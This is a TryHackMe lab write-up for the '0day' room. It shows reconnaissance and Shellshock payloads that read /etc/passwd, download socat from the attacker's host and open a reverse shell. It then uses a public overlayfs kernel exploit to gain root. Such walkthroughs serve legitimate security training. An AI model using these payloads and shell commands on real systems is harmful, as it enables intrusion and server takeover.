0day — Writeup

0day — Writeup

TryHackMe Challenge Link: http://tryhackme.com/room/0day

“0day” is a room conceived and built primarily by TryHackMe’s very own 0day, with a little help from myself in the execution, troubleshooting and provision of a writeup. This is a great little box designed to demonstrate the dangers of not frequently updating your servers!

Both of the vulnerabilities demonstrated in this room cover topics that are not commonly seen on TryHackMe, so hopefully you’ll enjoy the box!


Let’s begin, as usual, with a scan of the box. I have added 0day.thm to my /etc/hosts file with the IP provided by TryHackMe for my active instance of the box. If you’d prefer not to do this, any instance of 0day.thm may be replaced with your instance IP address.

We’ll begin with a basic nmap scan:

nmap -p- -vv <MACHINE-IP> -oG initial-scan

Typical of a Linux server, we see that only ports 22 and 80 are open.

22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63

We can guess that these probably correspond to SSH and HTTP respectively, however, let’s perform a service scan just to be sure:

nmap -p 22,80 -vv -sV -sC <MACHINE-IP> -oN common-scan
Screenshot confirming that a webserver is running on port 80 and SSH is running on port 22
Service and Common Script Scan Results

SSH is outdated, but not dangerously so. Instead, let’s take a look at the webserver.


Navigating to the webserver, we see 0day’s personal website:

Screenshot of 0day's homepage
0day’s Homepage

Not seeing anything suitably exploitable directly on the homepage, our usual next step would be a source code review, along with running tools such as Gobuster for directory bruteforcing, and Nikto for web vulnerability scanning. As I happen to already know what I’m looking for here, we’ll skip straight to Nikto — however, feel free to perform the other steps for yourself.

nikto --url <MACHINE-IP> | tee nikto-results
Nikto Results: We are interested in /cgi-bin/test.cgi
Nikto Results

There are some interesting rabbit holes here, however, we are most interested in the following line:

OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271)

This indicates that there’s a file called test.cgi in the /cgi-bin/ directory which might be vulnerable to ShellShock — a devastating vulnerability which affects older versions of Bash. CGI files are used by the webserver to execute commands in a native scripting language — in this case, that means that our test.cgi file will be running Bash commands. With vulnerable versions of bash, injecting a function definition ((){ :;};) into the input of such a script would force the script to execute any subsequent commands. Like so:

curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" http://<MACHINE-IP>/cgi-bin/test.cgi
Screenshot showing the /etc/passwd file obtained by the shellshock command
Successful exploitation of shellshock

Hey presto, we have RCE.


Before we start taking advantage of this vulnerability. Let’s dissect the above curl command. There are two parts to this command: with -A we’re specifying that we want to use a custom User-Agent. This is where we inject the payload, simply because the user-agent is a default header which we know will be read by the script. The second part of the command is standard — specifying the target: http://<MACHINE-IP>/cgi-bin/test.cgi. With that established, let’s break our payload down a little. There are technically four commands being run here:

  1. () { :;};
    • This defines an empty bash function. It’s there to activate the vulnerability, as shellshock relies on a function being declared prior to all subsequent commands being executed.
  2. echo Content-Type: text/html; echo;
    • This section of the command is used to prevent the server from crashing when the vulnerability is exploited. A properly formatted HTTP response will contain a Content-Type header, and a blank line before the body of the reponse is displayed. Without these, the server will return a “500 Internal Server” error. Thus we use this section of the payload to simulate the Content-Type header and subsequent blank line.
  3. /bin/cat /etc/passwd;
    • Finally, the meat of the payload. These are the commands we actually want to be executed. In this instance this is merely outputting the contents of /etc/passwd; however, we could add any other commands we wished here.

Let’s go ahead and check which user we’re executing commands as:

curl -A "() { :;}; echo Content-Type: text/html; echo; /usr/bin/whoami;" http://<MACHINE-IP>/cgi-bin/test.cgi

As expected, we are running commands as the www-data user:

Screenshot demonstrating that www-data is the returned user when the script is used to execute /usr/bin/whoami
Output of shellshock requesting the current user

This is a pain in many ways, as it means we’re unable to do anything which would result in an automatically stable shell such as copying an SSH key into the box. Instead, let’s use my favoured socat to obtain a reverse shell.

Download a static binary for socat and serve it with a Python webserver:

sudo python3 -m http.server 80

Next, let’s set up a socat listener on port 53:

sudo socat tcp-l:53 file:`tty`,raw,echo=0

Finally, let’s execute the vulnerability!

This needs to be executed as two commands. The first command downloads socat from our server and sets the executable bit on it:

curl -A "() { :;}; echo Content-Type: text/html; echo; /usr/bin/wget <LOCAL-IP>/socat -q -O /tmp/socat; /bin/chmod +x /tmp/socat" http://<MACHINE-IP>/cgi-bin/test.cgi

Then we use the second command to execute the shell:

curl -A "() { :;}; echo Content-Type: text/html; echo; /tmp/socat tcp:<LOCAL-IP>:53 exec:'bash -li',pty,stderr,sigint,setsid,sane" http://<MACHINE-IP>/cgi-bin/test.cgi
Screenshot demonstrating the commands specified above in action to obtain a socat reverse shell
Using Shellshock to obtain a full tty shell

At this stage we can also read the user flag in /home/ryan/user.txt:

Using cat to obtain the user.txt flag, located in /home/ryan/user.txt. Flag was not displayed.
Obtaining user.txt

Privilege Escalation

This is a very old version of Ubuntu, meaning it’s likely vulnerable to a plethora of kernel exploits. Usually a kernel exploit is the last resort — what you use when there are no other methods available. In this instance, however, I happen to know that a kernel exploit is the intended route, so that’s what we’re going with.

Let’s start by checking the arch and release notes for this machine:

Screenshot showing the output of `cat /etc/*-release` and `uname -a`. Relevant information is displayed below.
OS Information

There are three important piece of information for our exploit planning:

  • The arch is x64
  • The kernel is version 3.13
  • The OS version is Ubuntu 14.04.1 LTS

Additionally, let’s check to see if the gcc compiler is installed, and if so, which version it is:

which gcc
gcc --version
Above commands demonstrate that GCC is installed, and is of an acceptable version (4.8.4)
Compiler information

This should be more than adequate for our needs.

Switching back to Kali, let’s use searchsploit to check for exploits for this version of Ubuntu:

searchsploit Ubuntu 14.04 3.13 Local Privilege Escalation
Results from the exploitdb search with searchsploit. Relevant exploit is shown below.
searchsploit results

The first exploit in the list looks perfect for our needs:

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation

Let’s grab it from searchsploit and copy it over to the box.

On the attacker:

searchsploit -m 37292
dos2unix 37292
sudo python3 -m http.server 80

On the target:

wget <LOCAL-IP>/37292.c

Reviewing the source code for the exploit, we see that the compilation is completely standard — in theory at least — so, on the target:

gcc 37292.c -o exploit && ./exploit
Getting an interesting error (written next) on compilation
Error on compilation
gcc: error trying to exec 'cc1': execvp: No such file or directory

So, what’s going on here then?

Essentially, the PATHs used in this version of Ubuntu are more than a little wonky, resulting in gcc being unable to find cc1 — the program responsible for converting C code into assembler. To fix this we need to get our PATH variable inline with a standard Ubuntu PATH, which we do with the following command:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Having run this, let’s try once again to compile and execute our exploit:

gcc 37292.c -o exploit && ./exploit
Changing the path, then compiling and executing the kernel exploit successfully. Commands all shown previously
Executing the Kernel exploit

With that, we have obtained root on this box, thus finishing the walkthrough aspect of this write-up.


We’ve rooted the box, but there are some important lessons to be learnt from this room. For a start it serves as a reminder to never use outdated software — given that both exploits exploited here were as a result of the operating system being very outdated. This is not unrealistic, as many sysadmins find full server updates stressful, and the potential downtime serves as incentive not to attempt an upgrade. This, however, should be common knowledge in a community of hackers. What is talked about significantly less amongst the TryHackMe community is the concept of kernel exploits. Very few boxes on the site cover these — and they are extremely powerful: as demonstrated above. It is worth noting, however, that they also have the potential to be extremely disruptive to the server. Many kernel exploits result in a system crash if something goes wrong, or even after exploitation is completed and the resulting shell has died. Equally, kernel exploits tend to be extremely version specific, with kernel versions needing to match up pretty much identically in many cases. When it comes to Linux we also need to factor in the plethora of distributions available — for a variety of reasons, a kernel exploit that works on the kernel of one distro, may well not work on the same kernel version used in a different distro. This latter problem is obviously largely mitigated on Windows.

So, what’s the essential take-away from all this?

If you’ve learnt one thing here: kernel exploits are incredibly powerful, but should only be used as a method of last resort. Be cautious, be smart, and always review the source code for the exploit thoroughly before compiling and executing the code.

4 thoughts on “0day — Writeup

  1. Muiri,

    Hats off to your communication style! I haven’t done this room, but because of the way you wrote this, you have peaked my curiosity. It is next on my list.

Leave a Reply

Your email address will not be published. Required fields are marked *

Enter Captcha Here : *

Reload Image